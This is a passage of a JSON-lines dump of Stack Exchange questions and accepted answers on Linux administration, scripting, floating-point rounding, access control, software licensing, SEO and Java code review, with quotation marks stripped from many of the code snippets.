(^.*?) followed by .{0,$N} as in the grep case, followed by foofollowed by another .{0,$N} and finally match any old thing lazily till the end of line (.*?$).We substitute this with $ARGV:$1. $ARGV is a magical variable that holds the name of the current file being read. $1 is what the parens matched: the context in this case.The lazy matches at either end are required because a greedy match would eat all characters before foo without failing to match (since .{0,$N} is allowed to match zero times).1That is, prefer not to match anything unless this would cause the overall match to fail. In short, match as few characters as possible."  } 
{  "id": "_unix.36992"  , "question": "When is the right time to mount /tmp (on Debian)? For /home I would not feel bad just to echo /dev/foo /home type defaults 0 0 >>/etc/fstab - but can I be sure that /tmp is not used by any programs when the fstab is applied?I am using either Ubuntu or plain Debian or Debian/Grml - this would not make much difference I guess.What I have read so far:The internet is full of advice to just add tmpfs /tmp tmpfs <optionns> 0 0 - but I am unsure.I found this answer on what to do when /tmp is full without rebooting (in short: It's best to reboot anyway, except maybe for a union mount).The [Deban policy] does not explain where to add the mount, or when the first access to /tmp may happen. More helpful are /etc/init.d/README and /etc/rcS/README on my Ubuntu (read them online).Background: I am going to use some Debian flavor on my Netbook (no HD, 8 GB SSD, 1 GB RAM - will double the RAM when neccessary). I am not low on memory. Some tasks are much too slow (building medium-sized C programs or compiling PDF from TeX both take 5+ seonds), but they take no time on a tmpfs. I want to mount a tmpfs on /tmp to accelerate them."  , "title": "When to mount /tmp (and other temporary directories)"  , "tags": "debian;mount;fstab;tmp;init.d"  , "accepted_answer": "This doesn't appear to be explicitly specified by the Debian policy, but Debian does support making /tmp a separate filesystem (as well as /home, /var and /usr). This is traditionally supported by unix systems. And I can confirm that making /tmp a tmpfs filesystem, and mounting it automatically via /etc/fstab, does work on Debian.There is some difficulty in transitioning to /tmp on tmpfs on a live system, because of the files that are already in /tmp and cannot be copied. But no file in /tmp is expected to be saved across reboots. It is safe to mount a different filesystem to /tmp at the time the partitions in /etc/fstab are mounted."  } 
{  "id": "_unix.57920"  , "question": "I've got an Intel i7 2700k here, and I'd like to know how I can tell which processors are physical and which are virtual (ie: hyperthreading). I'm currently running a Conky script to display my CPU temps, frequencies, and loads, but I'm not sure that I've done it right:I've written my own script to get temperatures and frequencies from i7z, but these only correspond to physical cores. I'm currently displaying each core like this:${cpu cpu1} ${lua display_temp 0} ${lua display_load 0}${cpu cpu2}${cpu cpu3} ${lua display_temp 1} ${lua display_load 1}${cpu cpu4}# ...I'm not sure that this is right, because of the loads and temperatures I see sometimes. In /proc/cpuinfo, how are cores sorted? First all physical then all virtual? Each physical core then its virtual core(s)? How are they sorted? "  , "title": "How do I know which processors are physical cores?"  , "tags": "cpu"  , "accepted_answer": "You can know about each processor core by examining each cpuinfo entry:processor       : 0[...]physical id     : 0siblings        : 8core id         : 0cpu cores       : 4apicid          : 0processor       : 1[...]physical id     : 0siblings        : 8core id         : 1cpu cores       : 4apicid          : 2 processor       : 2[...]physical id     : 0siblings        : 8core id         : 2cpu cores       : 4apicid          : 4 processor       : 3[...]physical id     : 0siblings        : 8core id         : 3cpu cores       : 4apicid          : 6processor       : 4[...]physical id     : 0siblings        : 8core id         : 0cpu cores       : 4apicid          : 1[and so on]physical id shows the identifier of the processor. Unless you have a multiprocessor setup (having two separate, physical processor in a machine), it will always be 0.siblings show the number of processor attached to the same physical processor.core id show the identifier of the current core, out to a total of cpu cores. You can use this information to correlate which virtual processor goes into a single core.acpiid (and original acpiid) show the number of the (virtual) processor, as given by the bios.Note that there 8 siblings and 4 cores, so there is 2 virtual processor per core. There is no distinction between virtual or real in hyperthreading. but using this information you can associate which processors are from the same core."  } 
{  "id": "_unix.268130"  , "question": "In attempting to verify if a remote database exists or not, I'm seeing mixed behavior with a conditional statement.Technically the statement is working (it correctly reports if database is found), but on fail (no database found), it's throwing an error that I'm unable to trace for some reason.REMOTE_EXISTS=$(mysql --login-path=$REMOTE_HOST --batch --skip-column-names -e SHOW DATABASES LIKE '$REMOTE_DB'; | grep $REMOTE_DB)if [[ $? != 0 ]]; then    die Checking for $REMOTE_DB failed. Please report this error.elif [[ $REMOTE_EXISTS ]]; then    vrb The database '$REMOTE_DB' has been found to exist on '$REMOTE_HOST'. Proceeding.else    die Oops! We couldn't find '$REMOTE_DB' on the '$REMOTE_HOST' server. Are you sure it's there?fiUnsure where I'm going wrong. Login details are being passed via stored configurations from mysql_config_editor, which leads me to believe it's something fundamentally wrong with how my condition or method of going about this is setup.Unfortunately, the error is vague and being caught in a trap in my script, so reporting is a bit fuzzy. Also, I've tried the following as well:[ $REMOTE_EXISTS -eq 0 ][[ $REMOTE_EXISTS ]]No better luck.Help is appreciated, thank you!"  , "title": "Verifying output of a command not quite working via BASH script"  , "tags": "shell script;mysql;database"  , "accepted_answer": "I would trymysql --login-path=$REMOTE_HOST --batch --skip-column-names -e SHOW DATABASES LIKE '$REMOTE_DB';  > /tmp/remote_dbif [[ $? != 0 ]]; then    die Checking for $REMOTE_DB failed. Please report this error.elif grep -q $REMOTE_DB /tmp/remote_db ; then    vrb The database '$REMOTE_DB' has been found to exist on '$REMOTE_HOST'. Proceeding.else    die Oops! We couldn't find '$REMOTE_DB' on the '$REMOTE_HOST' server. Are you sure it's there?fiI am unsure you need to single quote REMOTE_XX var."  } 
{  "id": "_softwareengineering.224859"  , "question": "If I do .1 + .1 + .1 in Python, I get 0.30000000000000004. (I am not asking about Python in particular, and do not want Python specific answers.)The only problem I can see with this is 0.30000000000000004 != 0.3, so I need to take care in how I compare floats. Are there any other problems I need to be aware of with float rounding? I can't imagine that last digit being much of a problem in real life. For example, if I ask for a 0.30000000000000004 meter metal rod, I'm not going to later complain that this rod is 0.00000000000000004 meters too long! (I can just cut the extra off, right? :)Even with a lot of float calculations going on, I can't imagine the rounding getting so far off that it matters. Am I missing something? When do floating point rounding errors really matter?"  , "title": "When do rounding problems become a real problem? Is the least significant digit being one off really a big deal?"  , "tags": "floating point"  } 
{  "id": "_webapps.52189"  , "question": "I used to be able to see my friends birthdays on one of the side panels on the Facebook homepage, but now it's gone and I can't find a setting to bring it back. Is there such a setting? And if yes, where can I find it?"  , "title": "I cannot see my friend's birthdays on Facebook!"  , "tags": "facebook"  } 
{  "id": "_codereview.115424"  , "question": "In a JSP page I have a number of Span elements. Each of this span element will be floating point numbers.All these span elements has class format-decimal-precision:<span class=format-decimal-precision>${info.flaot_val}</span>I would like to display all this floating point numbers with 3 decimal point precision.Example: 123.12867 should be displayed as 123.123var floatFields = $('.format-decimal-precision');    var iter = floatFields.length;    var mDecDisplay = 3;    while(iter--) {        floatFields[iter].innerHTML=roundNumber($.trim(floatFields[iter].innerHTML),mDecDisplay);    }    function roundNumber(num, places) {        return Math.round(num * Math.pow(10, places)) / Math.pow(10, places);    }Though the code is working fine, I would like to know a better program to achieve the same behavior."  , "title": "Span decimal point precision"  , "tags": "javascript;floating point;jsp"  , "accepted_answer": "Styling and readabilityYour indentation is inconsistent. This can lead to developers wrongly assuming code belongs to a different block. I would recommend fixing this for all code.Your use of whitespace is inconsistent. You sometimes use a space after a comma, you sometimes do not. You sometimes use spaces around operators, you sometimes do not.Re-inventing the wheelYour function roundNumber is somewhat re-inventing the wheel. You are basically recreating the toFixed function with a cast back to a number.function roundNumber(num, places) {  return Math.round(num * Math.pow(10, places)) / Math.pow(10, places);}function roundNumberFixed(num, places) {  return Number(num).toFixed(places);}function roundNumberFixedAsNumber(num, places) {  return Number(Number( num ).toFixed(places));}function test(num, places) {  console.log(== Testing with, num, and, places, ==);  console.log(roundNumber(num, places));  console.log(roundNumberFixed(num, places) );  console.log(roundNumberFixedAsNumber(num, places));  }var testvalues = [[1.234567, 3],                  [ 1      , 2],                  [123512.2, 2],                  [-55.2121, 5],                  [13.223  , 1]];console.log(=== Starting tests ===);for(i in testvalues) {  test(testvalues[i][0], testvalues[i][1]);}You seem to be using jQuery. You can use .each (docs) to loop over all elements in an jQuery object. Similarly, you can use .html (docs) to change the innerHTML of an element.Termination of loop on referenceErrorYou use a while loop without a way of terminating it. It actually terminates, because you try to modify the innerHTML of undefined. That's... silly."  } 
{  "id": "_softwareengineering.237982"  , "question": "I need to implement a flexible Access Control system for a framework used by a couple of .NET applications.I have looked into Attribute-Based Access Control (ABAC) and XACML and this seems to provide the necessary flexibility to make decisions not only based on the user identity, but also on information about the requested resource.Typicial scenario where I need this:Allow access to patient files only to doctors who are assigned to the patient.However externalizing the authorization to a third party provider or another PDP server because would mean a network call every time the PEP (the application) performs an action that has to be authorized.Does it make sense to use XACML with an embedded PDP? I.e. the application transforms authorization decisions to XACML requests, then calls an embedded PDP module with the request which resolves it, queries the DB for resource and policy information and generates a XACML response.Or is XACML only useful in distributed Access Control scenarios? Is it generally more useful to implement a custom access control system if I don't plan to externalize the decision making point?"  , "title": "Embedding XACML PDP?"  , "tags": "design;.net;access control;authorization"  } 
{  "id": "_unix.243111"  , "question": "My notebook is a Asus N56VZ. I am using Debian 8 with LXDE Desktop Envoirment. Yesterday, i tried to install nvidia driver.I run a few of codes for preinstallation of driver. ( https://wiki.debian.org/NvidiaGraphicsDrivers )aptitude install linux-headers-3.16.0-4-amd64 build-essentialinit 3After that i install .run file. But i couldn't. It said that I should do this without X Window. I gave up for this method.So, I decided to apt-get install nvidia-driver. I did so, it says reboot the PC for installation done perfectly.Now, My computer coundn't end up boot screen. What sould i do?"  , "title": "Unending booting kernel"  , "tags": "debian"  } 
{  "id": "_opensource.1783"  , "question": "The Microsoft Research Shared Source License Agreement (MSR-SSLA) is a odd kind of Open Source licenses. FSF considers in nonfree as it does not allow commercial use. I would like to redistribute a derived work.The clauses of relevance to me are (as I understand it):If the Software includes source code or data, you may create derivative works of such portions of the Software and distribute the modified Software for non-commercial purposes, as provided herein.It does include data. Thus I may create a derivative work and distribute it.So long and I do so only for non-commercial purposes. This is fine, ass I am doing it for academic research purposes, which is included in examples of non-commercial given earlier in the license. That you will not remove any copyright or other notices from the Software.There were not copyright style notices on the work I received. Thus I am under no obligations from this.  However there was a readme. Which did mention the names of the creators and a request to reference a academic paper about the work. Out of good manners (and becuase it is useful), I will link back to the original when I redistribute it, and include such references to the authors and the paper in my own readme.That if any of the Software is in binary format, you will not attempt to modify such portions of the Software, or to reverse engineer or decompile them, except and only to the extent authorized by applicable law. The Software is not in binary form, thus this does not apply to me. (At the start of the license Software is defined to include text files.)That if you distribute the Software or any derivative works of the Software, you will distribute them under the same terms and conditions as in this license, and you will not grant other rights to the Software or derivative works that are different from those provided by this MSR-SSLA. This says, the I must distribute my derivative work only under the MSR-SSLA not under any other license (or lack there-of). So in practice this means I must include the license file with all distributed copies of the derived work. Correct? And it curses ensures that all future derivations will be subject to the scary clause 5. That Microsoft will have full rights over any derivations (except patent rights?)That if you have created derivative works of the Software, and  distribute such derivative works, you will cause the modified files to  carry prominent notices so that recipients know that they are not  receiving the original Software. Such notices must state: (i) that you  have changed the Software; and (ii) the date of any changes.This will be covered in my readme, and on the page where I am redistributing it.Am I understanding the implications of the license correctly?"  , "title": "Redistribution of derived works under MSR-SSLA"  , "tags": "derivative works;redistribution"  , "accepted_answer": "Blanket caveat: I am not a lawyer. More importantly: I'm not your lawyer. This is no legal advice, but my understanding of the license terms.Other than that Copyright or other notices may be broader than you interpret it - the authors in the readme could very well amount to a notice - you interpret this (non open source) license correctly.Since you indicate you are working with data, it is quite possible the entire license situation is somewhat off. Depending on the jurisdiction and nature of the data (primarily whether the selection of data contains creative elements; a top 10 list does, a phonebook doesn't) you may not need a license at all. In the US, sui generis databases (the uncreative kind) have no copyright or similar protections for example. In the EU, such databases are protected under database right. "  } 
{  "id": "_webmaster.44933"  , "question": "I have around 150 dynamic URL's as belowhttp://mydomain.com/training/register.php?key=01ue3be299a-6bc1-1030-a2db-e4115bd593d8http://mydomain.com/training/register.php?key=02ue3be299a-9bc1-1030-a2db-e4115bd593d8...http://mydomain.com/training/register.php?key=150ue3be299a-10bc1-1030-a2db-e4115bd593d8All the Urls land in the same page, but the content will be different based on the parameter.1) Is there any effect of these URL's on SEO. If so What is the solution.?and 2) Can I do URL rewrite ?"  , "title": "What is the effect of Dynamic URL's on SEO"  , "tags": "seo;search engines;url"  } 
{  "id": "_unix.80687"  , "question": "That is, the following command fails at times:$ sudo rebootThe last message on terminal, after which the machine gets stuck, requiring a power cycle:Restarting system.I tried the following reboot= boot parameters (source) without success:warmcoldtripleacpiforceefiAs advised on that page, I verified by running the following command to ensure the changes took effect:$ cat /proc/cmdlineIn case it might be helpful, here's a list of kernel modules:$ lsmod Module                  Size  Used byppp_generic            16680  0 slhc                    4055  1 ppp_genericath9k_htc              50685  0 mac80211              231186  1 ath9k_htcath9k_common            1720  1 ath9k_htcath9k_hw              338115  2 ath9k_htc,ath9k_commonath                    13793  3 ath9k_htc,ath9k_common,ath9k_hwcfg80211              158343  3 ath9k_htc,mac80211,athcompat                 29364  5 ath9k_htc,mac80211,ath9k_common,ath9k_hw,cfg80211This is on an ARM system, running a custom-built Linux 2.6.35. Also, there is no X server installed, so no Desktop Environment."  , "title": "Rebooting fails randomly"  , "tags": "linux;arm;reboot"  , "accepted_answer": "There is actually an age-old fix for this particular issue of mine. I wish I could have (magically) known about it before wasting spending so much time on it.As a sidenote, the system is a VAB-800, which uses a Freescale i.MX537 Cortex-A8 SoC."  } 
{  "id": "_codereview.48868"  , "question": "Usually when I make mock-up programs (like this one), I look for things I can improve on in case the situation happens again. Today I thought I'd brush up on basic OOP (I understand the concept of OOP, just haven't messed around with it for a bit and wanted to freshen my memory). So I decided to make a little game that just creates 3 monsters on a 10x10 plane and 1 player (you), you are able to move your player in any x/y direction. My program works but I can't help but feel that I'm doing something incorrectly.So the basic layout of my program was to have 5 classes. A GUI class that shows the game and gives you directional buttons for movement control, a class that creates the monsters, a class that creates the players, a class that creates the 10x10 board and keeps track of monster/player locations, and of course a main class that creates all the objects and has the main game loop and whatnot.I was having a bit of a hard time interacting with my main class and my GUI class. What I ended up doing was doing a while loop in my main class and waiting until the player presses the start button, and once the player presses it (via action listener) the GUI class sets a public variable (running) from false to true, and I am able to act accordingly once the variable is changed. HERE is where I feel like I am doing something wrong: At first my while loop would not terminate unless I printed out to the console. I Googled the issue and apparently people have said that it's some sort of issue with threading or active polling, which I did not understand. I went to my program and added a small 10ms thread sleep in my while loops and everything started working great.My question to you guys is, why do my while loops only terminate when adding a thread sleep? And is there a better way of interacting with a GUI class and a main class?Sorry for the giant wall of text but I like to be thorough when explaining a situation!TL;DR: Am I interacting correctly with my GUI class and my main class? If not what is the proper way to do it?My main class:public class MainGame {    public static void main(String[] args) throws InterruptedException{        ShowGUI gui = new ShowGUI();        while(!gui.running){            Thread.sleep(10);        }        Board gameBoard = new Board();        gui.setLabelText(gameBoard.getBoard());        //Add Player        Player playerOne = new Player(1000, Player 1);        //Add monsters        Monster monstMatt = new Monster(1000, Matt);        Monster monstJon = new Monster(1000, Jon);        Monster monstAbaad = new Monster(1000, Abaad);        while(gui.running){            Thread.sleep(10);            int x, y;            x = playerOne.getX();            y = playerOne.getY();            if(gui.buttonPress != -1){                if(gui.buttonPress == 1){                    playerOne.move(x, --y);                }else if(gui.buttonPress == 2){                    playerOne.move(x, ++y);                }else if(gui.buttonPress == 3){                    playerOne.move(--x, y);                }else if(gui.buttonPress == 4){                    playerOne.move(++x, y);                }                gui.buttonPress = -1;                gui.setLabelText(gameBoard.getBoard());            }        }    }}My GUI Class:public class ShowGUI {    private JTextArea board;    private JButton moveUp;    private JButton moveDown;    private JButton moveLeft;    private JButton moveRight;    public boolean running = false;    public int buttonPress = -1;    public ShowGUI(){        System.out.println(GUI Successfully Loaded);        createAndShow();    }    private void createAndShow(){        JFrame mainFrame = new JFrame(Bad Game);        addComponents(mainFrame.getContentPane());        mainFrame.setSize(500, 400);        mainFrame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        mainFrame.setLocationRelativeTo(null);        mainFrame.setResizable(false);        mainFrame.setVisible(true);    }    private void addComponents(Container pane){        pane.setLayout(null);        board = new JTextArea(1, JLabel.CENTER);        moveUp = new JButton(Up);        moveDown = new JButton(Down);        moveLeft = new JButton(Left);        moveRight = new JButton(Right);        moveUp.setBounds(185, 225, 130, 35);        moveLeft.setBounds(115, 280, 130, 35);        moveRight.setBounds(255, 280, 130, 35);        moveDown.setBounds(185, 335, 130, 35);        board.setEditable(false);        board.setBounds(115, 30, 270, 145);        board.setFont(new Font(Consolas, Font.BOLD, 12));        addActionListeners();        pane.add(board);        pane.add(moveUp);        pane.add(moveRight);        pane.add(moveLeft);        pane.add(moveDown);    }    private void addActionListeners(){        moveUp.addActionListener(new ActionListener() {            public void actionPerformed(ActionEvent e) {                running = true;                buttonPress = 1;            }        });        moveDown.addActionListener(new ActionListener() {            public void actionPerformed(ActionEvent e) {                buttonPress = 2;            }        });        moveLeft.addActionListener(new ActionListener() {            public void actionPerformed(ActionEvent e) {                buttonPress = 3;            }        });        moveRight.addActionListener(new ActionListener() {            public void actionPerformed(ActionEvent e) {                buttonPress = 4;            }        });    }    public void setLabelText(char[][] boardToShow){        board.setText( );        for(int i = 0; i < boardToShow.length; i++){            for(int j = 0; j < boardToShow[i].length; j++){                board.append(boardToShow[i][j] +    );            }            board.append(\\n );        }    }}If you require my Board/Monster/Player classes I can post them, but I don't think the problem is with those classes."  , "title": "Interacting with GUI class and Main class"  , "tags": "java;object oriented;game;swing"  , "accepted_answer": "I have very little experience with Swing, so forgive me if I cannot answer your specific question (though Stack Overflow might be a better place for that). Still, one thing I always see with Swing programs is the use of SwingUtilities.invokeLater, so maybe that's why you're having troubles. Take a look at how this example starts a Swing project.I'm sure more experienced people can comment on your overall design and the MVC pattern than I could, so I'll limit myself to a line-by-line review here.The main methodYou are doing far too much here. With a few exceptions, the main method should just get your class up and going. I would like to see something like a Game class which takes the board, players (as a list), and monsters (as a list) in its constructor. Maybe the GUI too, I'm not sure. Like I said, I'm terrible at MVC practices.The while loop in the main method should also be moved into this Game glass, which controls the main game loop. There's a lot of things you can find on Google about main game loops that are worth reading.        int x, y;        x = playerOne.getX();        y = playerOne.getY();can be simplified to         int x = playerOne.getX();        int y = playerOne.getY();Alternatively, the whole input section could be simplified towhile(gui.running){  if (gui.buttonPress == -1)    continue;  }  if (gui.buttonPress == 1) {    playerOne.move(playerOne.getX(), playerOne.getY() - 1);  } else if (gui.buttonPress == 2) {    playerOne.move(playerOne.getX(), playerOne.getY() + 1);  } else if (gui.buttonPress == 3) {    playerOne.move(playerOne.getX() - 1, playerOne.getY());  } else if (gui.buttonPress == 4) {    playerOne.move(playerOne.getX() + 1, playerOne.getY());  }  ...(Actually, not really, because you have some additional lines after all this input stuff, but why are you mixing the input logic with anything else? Put it in its own method.)There's a lot that can be said about this, so I'll just list them in no particular order:Add spaces in your control statements! Everyone's eyes will thank you! Compareif(gui.buttonPress == 1){toif (gui.buttonPress == 1) {There's no point in storing the player's coordinates in these less descriptive variables. They're only going to be accessed once because of the if statement structure.As a tip, this is my enum that I use for handling direction in my programs:public enum Direction {  LEFT(-1, 0), RIGHT(1, 0), UP(0, 1), DOWN(0, -1);  private final int x;  private final int y;  Direction(final int x, final int y) {    this.x = x;    this.y = y;  }  public int getX() {    return x;  }  public int getY() {    return y;  }}With this, you could create a map of your button input values to directions, and simply do the following:Direction direction = DIRECTION_MAP.get(gui.buttonPress); // your new direction mapif (direction != null) {    playerOne.move(playerOne.getX() + direction.getX(), playerOne.getY() + direction.getY();}The most egregious part so far, though, is your abuse of magic numbers. What does it mean when buttonPress = 1? Also, why can I even access that variable in the first place?! For more on that, we go toThe ShowGUI classPurely a stylistic criticism, but I think it ShowGui would be more conventional, even though that that's still a bad class names. This class is named like a method (with a leading verb) which is odd. Why not just Gui or something? Make the class name sound like a noun, not a verb.Some other comments:running and buttonPress variables should be private with public get methods. In fact, buttonPress shouldn't have one at all. Rather, some controller class should be invoked when this changes (or not, like I said, terrible with MVC). The point is, your game logic shouldn't be asking the view about things; rather, the view should be telling your game logic what happened.There's magic numbers everywhere, which can understand when making a Swing app, though you could look into frame layouts (or whatever they're called) to do positioning for you. As it is, you just havepane.setLayout(null);which is a useless call and which I assume was added by a Swing builder.Constants are your friend.moveUp.addActionListener(new ActionListener() {    public void actionPerformed(ActionEvent e) {        running = true;        buttonPress = 1;    }});Why are you modifying running here? And more importantly, why are you setting buttonPress to an integer? Two Alternatives:private static final int MOVE_UP = 1;// later...buttonPress = MOVE_UP;or,  using the Direction enum above,buttonPress = Direction.UP;though that only would work if buttonPress only stored directions."  } 
{  "id": "_codereview.55009"  , "question": "I need to validate whether my regex is correct for below scenario. Suggestion's if the regex is correct:Wiki Link Local_partThe local-part of the email address may use any of these ASCII characters.[4] RFC 6531 permits Unicode characters beyond the ASCII range:Uppercase and lowercase English letters (az, AZ) (ASCII: 6590,97122)Digits 0 to 9 (ASCII: 4857)These special characters: ! # $ % & ' * + - / = ? ^ _ { | } ~(limited support)Character . (dot, period, full stop) (ASCII: 46) provided that it isnot the first or last character, and provided also that it does notappear two or more times consecutively (e.g. John..Doe@example.comis not allowed).Special characters are allowed with restrictions. They are:Comments are allowed with parentheses at either end of the localpart; e.g. john.smith(comment)@example.com and(comment)john.smith@example.com are both equivalent tojohn.smith@example.com.International characters above U+007F are permitted by RFC 6531,though mail systems may restrict which characters to use whenassigning local parts.The Regex:^[a-z0-9][-a-z0-9.!#$%&'*+-=?^_`{|}~\\/]+@([-a-z0-9]+\\.)+[a-z]{2,5}$Demo Here"  , "title": "Regex validation for Email Address"  , "tags": "c#;.net;regex;validation;email"  } 
{  "id": "_unix.86131"  , "question": "How can I programmatically get a folders latest edit?I have already written the following script:#!/usr/bin/perlmy @ls_command_result=qx(ls -l);my @the_folder=grep /folder_i_want/, @ls_command_result;print STDOUT @the_folder;Using this script i can get the latest edit date of the folder, but the problem is that I just get it as a string, but i will be needing to compare this outcome to other dates and therefore it would be vastly better to have it in the format of say, epoch second.How would it be best to go about getting this information?"  , "title": "Programmatically get folders last edit time"  , "tags": "perl;time;timestamps"  , "accepted_answer": "The answer, which manatwork pointed out.. is to use stat."  } 
{  "id": "_codereview.149763"  , "question": "I wrote this hangman program.  It takes three words in an array, picks a random word and then the user guesses the letters. It's lengthy, but it's extremely simple and understandable. Suggestions are welcome, but keep in mind, my knowledge in java is limited.import java.util.*;public class Hangman{   public static void main(String[] args)   {       Scanner sc = new Scanner(System.in);       int  noOfGuesses =0,lettersCorrect=0;       String choiceToPlay, userGuess;       char menuChoice, letter;       String[] list={hello,java,loop};       System.out.println(\\t\\t\\t\\tWelcome to Hangman!);//main game start menu       System.out.println(~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~);       do       {  System.out.println(\\t\\t\\t  Do you want to play? Press Y/N\\n);          choiceToPlay = sc.next();          menuChoice = choiceToPlay.charAt(0);          if(!(menuChoice == 'y'||menuChoice == 'Y'||menuChoice == 'n'||menuChoice =='N'))          {            System.out.println(\\t\\t\\t\\tYou have entered an invalid option. Try again!\\n);          }//if any letter other than y or n is entered       }//do       while (!(menuChoice =='Y' ||menuChoice=='y'||menuChoice == 'n'|| menuChoice =='N'));       if(menuChoice == 'N'||menuChoice =='n')       {          System.out.println(You have chosen to leave the game.);          System.out.println(Goodbye!);          System.exit(0);       }//if       else       {                     int randomWordNumber = (int)((Math.random()*list.length));// Pick random index of guessWord array          char[] enteredLetters = new char[list[randomWordNumber].length()];// Create an array to store already entered letters          switch(randomWordNumber)          {            case 1:            {                                char [] correctLetter = {'-', '-', '-', '-', '-'};                while(lettersCorrect <5)                {                    char guessWord[]={'h','e','l','l','o'};                    System.out.println(\\nThe guess word has 5 letters.);                    System.out.println(Enter a letter to guess: );                    userGuess = sc.next();                    letter = userGuess.charAt(0);//Incrementing letters each time.                    noOfGuesses++;                     if(letter == guessWord[0])                    {                                               System.out.println(There is 1 +guessWord[0]+ in the word);                        System.out.println(You have guessed the first letter correctly.);                        correctLetter[0] = letter;                        System.out.println(correctLetter);                        System.out.println(You have had  + noOfGuesses +  guesses, so far);                        lettersCorrect++;                        System.out.println(Letters correct so far: +lettersCorrect);                    }//if first letter                    else if(letter==guessWord[1])                    {                        System.out.println(There is 1 +guessWord[1]+ in the word);                        System.out.println(You have guessed the second letter correctly.);                        correctLetter[1] = letter;                        System.out.println(correctLetter);                        System.out.println(You have had  + noOfGuesses +  guesses, so far);                        lettersCorrect++;                        System.out.println(Letters correct so far: +lettersCorrect);                    }//if second letter                                         else if(letter ==guessWord[2]||letter==guessWord[3])                    {                                                 System.out.println(There are 2 +guessWord[2]+ in the word);                        System.out.println(You have guessed the third and fourth letters correctly.);                        correctLetter[2] = letter;                        correctLetter[3]=letter;                        System.out.println(correctLetter);                        System.out.println(You have had  + noOfGuesses +  guesses, so far);                        lettersCorrect+=2;                        System.out.println(Letters correct so far: +lettersCorrect);                    }//if third and fourth letters                    else if(letter ==guessWord[4])                    {                           lettersCorrect++;                        System.out.println(There is 1 O in the word);                        System.out.println(You have guessed the fifth letter correctly.);                        correctLetter[4] = letter;                        System.out.println(correctLetter);                        System.out.println(You have had  + noOfGuesses +  guesses, so far);                        System.out.println(Letters correct so far: +lettersCorrect);                    }//if fifth letter                    else                    {                        System.out.println(The letter you guessed is not in the word.\\n);                        System.out.println(Guesses taken so far: +noOfGuesses);                        System.out.println(Letters correct so far: +lettersCorrect);                    }//else incorrect letter                }                System.out.println(\\nYou found the word!);                System.out.println(It was hello.);                System.out.println(Total guesses: +noOfGuesses);                break;            }            case 2:            {                char [] correctLetter = {'-', '-', '-', '-'};                while(lettersCorrect <4)                {                     char guessWord[]={'j','a','v','a'};                                          System.out.println(\\nThe guess word has 4 letters.);                     System.out.println(Enter a letter to guess: );                     userGuess = sc.next();                     letter = userGuess.charAt(0);//Incrementing letters each time.                     noOfGuesses++;                      if(letter == guessWord[0])                     {                         System.out.println(There is 1 +guessWord[0]+ in the word);                         System.out.println(You have guessed the first letter correctly.);                         correctLetter[0] = letter;                         System.out.println(correctLetter);                         System.out.println(You have had  + noOfGuesses +  guesses, so far);                         lettersCorrect++;                         System.out.println(Letters correct so far: +lettersCorrect);                     }//if first letter                     else if(letter==guessWord[1])                     {                         System.out.println(There are 2 +guessWord[1]+ in the word);                         System.out.println(You have guessed the second and fourth letters correctly.);                         correctLetter[1] = letter;                         correctLetter[3] = letter;                         System.out.println(correctLetter);                         System.out.println(You have had  + noOfGuesses +  guesses, so far);                         lettersCorrect+=2;                         System.out.println(Letters correct so far: +lettersCorrect);                     }//if second letter                                          else if(letter ==guessWord[2])                     {                                                  System.out.println(There is 1 +guessWord[2]+ in the word);                         System.out.println(You have guessed the third letter correctly.);                         correctLetter[2] = letter;                         System.out.println(correctLetter);                         System.out.println(You have had  + noOfGuesses +  guesses, so far);                         lettersCorrect++;                         System.out.println(Letters correct so far: +lettersCorrect);                     }//if third and fourth letters                     else                     {                         System.out.println(The letter you guessed is not in the word.\\n);                         System.out.println(Guesses taken so far: +noOfGuesses);                         System.out.println(Letters correct so far: +lettersCorrect);                     }//else incorrect letter                }//while loop                System.out.println(\\nYou found the word!);                System.out.println(It was java.);                System.out.println(Total guesses: +noOfGuesses);                break;            }            default:            {                char [] correctLetter = {'-', '-', '-', '-'};                while(lettersCorrect<4)                {                    char guessWord[]={'l','o','o','p'};                                        System.out.println(\\nThe guess word has 4 letters.);                    System.out.println(Enter a letter to guess: );                    userGuess = sc.next();                    letter = userGuess.charAt(0);//Incrementing letters each time.                    noOfGuesses++;                     if(letter == guessWord[0])                    {                        System.out.println(There is 1 +guessWord[0]+ in the word);                        System.out.println(You have guessed the first letter correctly.);                        correctLetter[0] = letter;                        System.out.println(correctLetter);                        System.out.println(You have had  + noOfGuesses +  guesses, so far);                        lettersCorrect++;                        System.out.println(Letters correct so far: +lettersCorrect);                    }//if first letter                    else if(letter==guessWord[1])                    {                        System.out.println(There are 2 +guessWord[1]+ in the word);                        System.out.println(You have guessed the second and third letters correctly.);                        correctLetter[1] = letter;                        correctLetter[2] = letter;                        System.out.println(correctLetter);                        System.out.println(You have had  + noOfGuesses +  guesses, so far);                        lettersCorrect+=2;                        System.out.println(Letters correct so far: +lettersCorrect);                    }//if second letter                                         else if(letter ==guessWord[3])                    {                                                 System.out.println(There is 1 +guessWord[3]+ in the word);                        System.out.println(You have guessed the fourth letter correctly.);                        correctLetter[3]=letter;                        System.out.println(correctLetter);                        System.out.println(You have had  + noOfGuesses +  guesses, so far);                        lettersCorrect++;                        System.out.println(Letters correct so far: +lettersCorrect);                    }//if third and fourth letters                    else                    {                        System.out.println(The letter you guessed is not in the word.\\n);                        System.out.println(Guesses taken so far: +noOfGuesses);                        System.out.println(Letters correct so far: +lettersCorrect);                    }//else incorrect letter                }//while loop            }//case            System.out.println(\\nYou found the word!);            System.out.println(It was loop.);            System.out.println(Total guesses: +noOfGuesses);          }//switch       }   }}      "  , "title": "Very Simple Basic Java Hangman Program"  , "tags": "java;beginner;hangman"  } 
